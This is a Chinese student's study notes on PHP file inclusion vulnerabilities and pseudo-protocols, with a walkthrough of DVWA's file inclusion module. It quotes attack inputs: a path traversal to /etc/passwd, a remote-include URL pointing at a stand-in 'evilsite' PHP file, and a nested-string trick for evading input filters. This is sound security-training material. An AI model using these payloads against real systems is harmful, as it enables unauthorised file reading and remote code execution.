各位注意!任务来袭~

web任务五:Web简单操作
内容:
1.学习file inclusion(文件包含),了解各种伪协议姿势;
2.完成dvwa第三个模块file inclusion;
3.继续学习php。


1.学习file inclusion(文件包含),了解各种伪协议姿势;
file inclusion介绍wiki:https://en.wikipedia.org/wiki/File_inclusion_vulnerability
学习网址:
https://blog.csdn.net/qq_39431542/article/details/88628225(个人感觉较为实用)
https://blog.csdn.net/weixin_42277564/article/details/80641849
https://blog.csdn.net/Wu000999/article/details/101925271
https://blog.csdn.net/ni9htmar3/article/details/69812306
https://segmentfault.com/a/1190000018991087
https://www.freebuf.com/column/148886.html
总的来说这些文章大同小异,在讲述顺序上有些许差异,多看几篇可能会增加理解。个人感觉也就前面两篇稍微能看懂,后面几篇内容大致相同,也就锦上添花(首先你要有锦 = =,反正我没有)。
对于文件包含漏洞个人感觉类似于命令注入,但也有不同,文件包含漏洞可以上传本地文件到网页,也可以通过网页来产看配置信息。(首先你要读明白代码)
改一:个人学习记录
文件包含:
文件包含漏洞利用前提:
1.使用文件包含函数(include()、include_once()、require()、require_once()等)
2.用户能够控制包含文件的参数,被包含的文件可被当前页面访问
文件包含函数:
include( ):当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
进来,发生错误时之给出一个警告,继续向下执行。
include_once( ):功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次 。
require( ):require()与include()的区别在于require()执行如果发生错误,函数会输出
错误信息,并终止脚本的运行。
require_once( ):功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
典型特征:
变量的值为一个页面:

?page=a.php
?home=b.html
?file=content…

文件 PHP 中的文件包含分为本地包含(LFI)和远程包含(RFI),远程文件包含(RFI) 一般 PHP 默认关闭远程包含,开启远程文件包含功能需要在 php.ini 中修改:

Allow_url_include = on

伪协议:

  • file:// — 访问本地文件系统
  • http:// — 访问 HTTP(s) 网址
  • ftp:// — 访问 FTP(s) URLs
  • php:// — 访问各个输入/输出流(I/O streams)
  • zlib:// — 压缩流
  • data:// — 数据(RFC 2397)
  • glob:// — 查找匹配的文件路径模式
  • phar:// — PHP 归档
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — 音频流
  • expect:// — 处理交互式的流
    伪协议后文件必须是绝对路径

file:条件:allow_url_fopen: off/on allow_url_include: off/on
eg:
php:分为php://input和php://filter
php://input:将POST输入流当做PHP代码执行。其只受 allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。
php://output :一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区
php://filter:不受allow_url_fopen与allow_url_include参数的影响,一般可以利用进行任意文件读取
(2020.6.6第一次修改)

2.完成dvwa第三个模块file inclusion
DVWA—LOW :
源代码:

<?php// The page we wish to display
$file = $_GET[ 'page' ];?>

跟上面教程中的示例极为相似。。。
help :
Low Level
This allows for direct input into one of many PHP functions that will include the content when executing.
Depending on the web service configuration will depend if RFI is a possibility.
Spoiler: LFI: ?page=…/…/…/…/…/…/etc/passwd.
Spoiler: RFI: ?page=http://www.evilsite.com/evil.php.
(对不起,我看不懂,只能靠翻译)
第一个示例:
第一个示例在linux中才能用,在windows中可以用相对路径和绝对路径。
这里我用的绝对路径(不太会用相对路径)
第二个示例:
上传了一个php文件(hello world)因为简单。
看大佬文章好像可以上传一句话木马,我没试过。
MEDIUM
代码

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );?>

查找函数str_replace:“http://”, “https://”,"…/", “…”"给替换成空格也就是消掉这两个字符;
看大佬文章可以跟命令注入的时候一样写成hthttp://tp://这样就可以在消掉之后再次连成一个新的头。
help:
Medium Level
The developer has read up on some of the issues with LFI/RFI, and decided to filter the input. However, the patterns that are used, isn’t enough.

Spoiler: LFI: Possible, due to it only cycling through the pattern matching once.
Spoiler: RFI: PHP Streams.
php流?那是什么?(英文看的我想哭)


还是查看配置跟low级别一样

本地文件
成功。
3.继续学习php。
我在哭啊!

第五次WEB任务——HNA,WSL相关推荐

  1. 开发者应该关注的五项Web新兴技术:WebGL和SVG名列其中

    最近一位HTML5专家Rich Clark(作者的好朋友)为大家做了一个HTML5 APIs的简介,在文章中为大家指向了一个令人迷惑的网页(web平台:浏览器技术http://platform.htm ...

  2. 【Microsoft Azure 的1024种玩法】十五.通过Web浏览器对Auzre VM 服务器运维管理

    [简介] Apache Guacamole是无客户端远程桌面网关.它支持标准协议,例如VNC,RDP和SSH.我们称其为无客户端,因为不需要插件或客户端软件.多亏了HTML5,在服务器上安装了鳄梨调味 ...

  3. 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(3)暴力破解目录与文件位置

    黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(3)暴力破解目录与文件位置 文章目录 黑帽python第二版(Black Hat P ...

  4. 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(4)暴力破解HTML表单身份验证

    黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(4)暴力破解HTML表单身份验证 文章目录 黑帽python第二版(Black Ha ...

  5. CSS3与页面布局学习总结(五)——Web Font与Sprite

    CSS3与页面布局学习总结(五)--Web Font与Sprite 目录 一.web font 1.1.什么是font-face 1.2.font-face优点 1.3.字体格式 1.4.使用@fon ...

  6. java怎么监听多个组件,java web(五):java web三大组件之另外两个和八大监听器

    java的三大组件指Servlet.Filter.Listener.八大监听器指八个接口.前面介绍了Servlet,现在介绍一下Filter拦截器以及拦截地址的设置, Listener监听那些事件. ...

  7. 五、Web App 基础可视组件属性(IVX 快速开发教程)

    五.基础可视组件属性 在 iVX 中各个组件存在不同的属性,这些属性用于设置显示的样式或者是自身具备的特征等,通过更改这些属性可以极大的方便我们进行项目的创作. 大多数组件都拥有相同的属性,相同属性在 ...

  8. JavaScript(五)—— Web APIs 简介/JavaScript 必须掌握的 DOM 操作 (丰富案例 + 思维导图)

    本篇为 JavaScript 系列笔记第五篇,将陆续更新后续内容.参考:黑马程序员JavaScript核心教程,前端基础教程 系列笔记: JavaScript(一)-- 初识JavaScript / ...

  9. Python全栈(五)Web安全攻防之1.信息收集

    文章目录 一.Kali虚拟机安装 二.域名介绍及查询 1.域名介绍 2.域名查询方法whois web接口查询 通过whois命令行查询 3.ICP备案 三.收集子域名信息 1.域名和子域名 2.子域 ...

最新文章

  1. 安全测试之XSS攻击
  2. python文件对象提供了3个读方法、分别是-Python读写文件模式和文件对象方法实例详解...
  3. 常见的NoSQL数据库
  4. Android跳转WIFI界面的四种方式
  5. React开发(197):文件名错误
  6. 快手员工泄露10亿元公司机密 被开除并收回期权,官方暂未回应...
  7. php arrayaccess 二维,PHP数组式访问接口ArrayAccess用法分析
  8. Sublime 输入中文显示方框问号乱码
  9. 教你如何用Python自动下载抖音好看小姐姐,有对象的同学小心尝试!
  10. C++Debug Assertion Failed!到底出错在哪里?
  11. c语言使用gotoxy函数清屏,写了个小程序,一直会闪屏,用的gotoxy函数,求大神教...
  12. IDEA项目打包几种方式
  13. 上课学计算机的周记,计算机实习周记20篇
  14. 关于做PDF的FAQ(一)~(四)
  15. windows下Middlebury离线工具使用(补充)
  16. PHP实现图片转字符画
  17. python爬虫爬取搜狗微信文章(代理池+re从跳转链接中找到真实URL问题)
  18. [MacOS][Google Chrome 浏览器] 鼠标右键需要双击才能弹出菜单
  19. Mipmap与纹理过滤
  20. TreeMap根据value排序遇到的问题及分析

热门文章

  1. 【产品设计】财务对账系统
  2. 基于php毕业答辩ppt,基于php,mysql环保涂料化工产品类企业网站,毕业论文设计,ppt答辩...
  3. Au 入门系列之四:降噪与修复
  4. openldap系列
  5. 绘制电路图、PCB图可用软件整理
  6. Simulink之脉宽调制(PWM)逆变技术
  7. .animate在360浏览器和谷歌浏览器同时生效
  8. “企业中台”与微服务架构
  9. 干电池升压IC,电流大,常用,功耗低
  10. USB3.0 U盘速度慢的常见问题